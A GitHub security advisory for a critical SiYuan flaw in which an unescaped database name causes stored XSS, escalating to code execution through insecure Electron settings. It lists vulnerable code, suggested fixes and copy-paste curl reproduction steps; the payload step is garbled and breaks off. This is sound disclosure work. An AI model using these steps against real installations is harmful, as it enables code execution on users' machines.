GitHub Advisoryadvisory · Go
GHSA-2h64-c999-c9r6 SiYuan Affected by Stored XSS via Attribute View Name to Electron Renderer RCE
CRITICAL
Official page ↗
- Aliases
- CVE-2026-44670
- Ecosystem
- Go
- Packages
- github.com/siyuan-note/siyuan/kernel
- Severity
- Critical
- CVSS vector
- CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H
- Weaknesses
- CWE-1188, CWE-79, CWE-94
- Reviewed
- 2026-05-08
Affected packages
• Go github.com/siyuan-note/siyuan/kernel: < 0.0.0-20260512140701-d7b77d945e0d → fixed in 0.0.0-20260512140701-d7b77d945e0d
Description
Summary
The kernel stores Attribute View (AV / database) names without any HTML escape, then a render template uses raw `strings.ReplaceAll(tpl, "${avName}", nodeAvName)` to embed the name in HTML before pushing to all clients via WebSocket. Three independent client paths (`render.ts:120` → `outerHTML`, `Title.ts:401` → `innerHTML`, `transaction.ts:559` → `innerHTML`) consume the value without escaping. Because the main BrowserWindow runs `nodeIntegration:true, contextIsolation:false, webSecurity:false` (`app/electron/main.js:407-411`), HTML injection in the renderer becomes Node.js code execution.
Payload is stored on disk under `data/storage/av/.json`, replicates via every sync transport (S3 / WebDAV / cloud), survives `.sy.zip` export-import, and triggers for any role (Administrator / Editor / Reader / publish-service Visitor) opening a doc bound to the AV.
Details
Kernel write — no escape. `kernel/model/attribute_view.go:3244-3255`:
```go
attrView.Name = strings.TrimSpace(operation.Data.(string))
attrView.Name = strings.ReplaceAll(attrView.Name, "\n", " ")
if 512 ${avName}`
// ...
tpl := strings.ReplaceAll(attrAvNameTpl, "${avID}", nodeAvID)
tpl = strings.ReplaceAll(tpl, "${avName}", nodeAvName) // ← raw
```
Sink #1 — AV body header → outerHTML. `app/src/protyle/render/av/render.ts:120` (returned from `genTabHeaderHTML`, written via outerHTML at `render.ts:596`):
```ts
${data.name || ""}
// ...
e.firstElementChild.outerHTML = `${genTabHeaderHTML(...)}...`;
```
Same pattern in `kanban/render.ts:227` and `gallery/render.ts:142`.
Sink #2 — Doc title attribute strip → innerHTML. `app/src/protyle/header/Title.ts:396-403`:
```ts
response.data.attrViews.forEach((item: { id: string, name: string }) => {
avTitle += `${item.name} `;
});
nodeAttrHTML += `...${avTitle}`;
this.element.querySelector(".protyle-attr").innerHTML = nodeAttrHTML;
```
Sink #3 — WebSocket `updateAttrs` push → innerHTML. `app/src/protyle/wysiwyg/transaction.ts:549-562,659`:
```ts
const escapeHTML = Lute.EscapeHTMLStr(data.new[key]);
if (key === "bookmark") { bookmarkHTML = `...${escapeHTML}...`; }
else if (key === "name") { nameHTML = `...${escapeHTML}...`; }
else if (key === "alias") { aliasHTML = `...${escapeHTML}...`; }
else if (key === "memo") { memoHTML = `...${escapeHTML}...`; }
else if (key === "custom-avs" && data.new["av-names"]) {
avHTML = `...${data.new["av-names"]}`;
// ^^^^^^^^^^^^^^^^^^^^^^^^ raw, unlike the four siblings above
}
// ...
attrElement.innerHTML = nodeAttrHTML + Constants.ZWSP;
```
The four sibling cases use `Lute.EscapeHTMLStr` — proving the team knows the right pattern; only `av-names` was missed.
Renderer posture — RCE multiplier. `app/electron/main.js:407-411`:
```js
webPreferences: {
nodeIntegration: true, webviewTag: true,
webSecurity: false, contextIsolation: false,
}
```
Reachability. Route `/api/transactions setAttrViewName` requires `CheckAuth + CheckAdminRole + CheckReadonly`. On default install (`Conf.AccessAuthCode == ""`), `kernel/model/session.go:261-287` auto-grants Administrator to local-origin requests. The Origin check accepts `localhost` / loopback only but `chrome-extension://` is explicitly allowlisted (`session.go:277`), so any installed browser extension calls the API as admin. Local clients with no Origin header (CLI tools) also pass.
Suggested fix
1. `kernel/model/attribute_view.go getAvNames` (line 3283-3284): replace the two `strings.ReplaceAll` calls with `template.HTMLEscapeString(nodeAvName)` for the `${avName}` substitution.
2. `transaction.ts:559`: wrap with `Lute.EscapeHTMLStr` to match siblings at lines 549-557.
3. `render.ts:120`: use `Lute.EscapeHTMLStr(data.name)` for both `data-title=` and the text content.
4. `Title.ts:396`: escape `item.name` via `Lute.EscapeHTMLStr` and `item.id` via `escapeAttr`.
5. *(Defense-in-depth)* Switch the main BrowserWindow to `contextIsolation: true` with a preload bridge — caps every future renderer XSS at "DOM only," not RCE.
---
Reproduction (copy-paste-ready)
Tested on Linux/macOS with SiYuan v3.6.5 (re-verified against `master` HEAD on 2026-05-03). Windows users: replace `python3` with `py` and use Git Bash / WSL for the shell snippets, or translate to PowerShell.
Prereqs
1. Install SiYuan v3.6.5 from https://github.com/siyuan-note/siyuan/releases. Launch it once so the workspace at `~/SiYuanWorkspace` is initialized. Do not set an Access Authorization Code (default).
2. Verify the kernel responds:
```sh
curl -s http://127.0.0.1:6806/api/system/version
```
Expected output (single line of JSON):
```json
{"code":0,"msg":"","data":"3.6.5"}
```
3. Pin shell variables for the rest of the PoC:
```sh
API=http://127.0.0.1:6806
WS=~/SiYuanWorkspace # adjust if your workspace lives elsewhere
NOTEBOOK_ID=$(curl -s -X POST $API/api/notebook/lsNotebooks \
-H 'Content-Type: application/json' -d '{}' \
| python3 -c 'import sys,json; print(json.load(sys.stdin)["data"]["notebooks"][0]["id"])')
echo "Using notebook: $NOTEBOOK_ID"
```
Expected: a 14-digit-timestamp + `-7chars` ID like `20240101120000-abc1234`. If you get an empty string, you have no notebooks — open SiYuan and click "New notebook" once.
Step A — Create the AV via the SiYuan UI (one-time, ~10 seconds)
The kernel's `setAttrViewName` requires the AV file to already exist on disk (`av.ParseAttributeView` returns an error otherwise). The simplest way to create one is via the editor:
1. Open SiYuan. In any document, type `/database` and press Enter (or open the slash-command menu and pick Database).
2. The editor inserts an Attribute View block. The kernel writes a JSON file to `/data/storage/av/.json`.
3. Capture the AV ID — the most recently written file in that directory:
```sh
AV_FILE=$(ls -1t "$WS/data/storage/av/"*.json 2>/dev/null | head -1)
AV_ID=$(basename "$AV_FILE" .json)
echo "AV_ID: $AV_ID"
```
Expected: same 14-digit-timestamp + `-7chars` shape, e.g. `20260503160000-aaaaaaa`. If empty, the AV file wasn't created — repeat the UI step. (If your workspace already has many AV files, this picks the newest by mtime; alternatively right-click the inserted database block in SiYuan → Inspect Element to read its `data-av-id` attribute.)
4. Capture the doc ID that hosts the AV: right-click the doc tab → Copy ID, or read it from the doc's `data-node-id` in DevTools (Ctrl+Shift+I). Set:
```sh
DOC_ID=
```
Step B — Plant the XSS payload as the AV name
The payload is written directly inside an unquoted heredoc so bash expands `$AV_ID` while preserving the `\"` JSON-escape sequences literally. Single-quote chars (`'`) in the inner JS need no escaping inside a JSON string.
```sh
curl -s -X POST $API/api/transactions \
-H 'Content-Type: application/json' \
--data-binary @- "
}],
"undoOperations": []
}]
}
EO…
Related
Alias · CVE (1)
- CVE-2026-44670 SiYuan is an open-source personal knowledge management system. vulnerability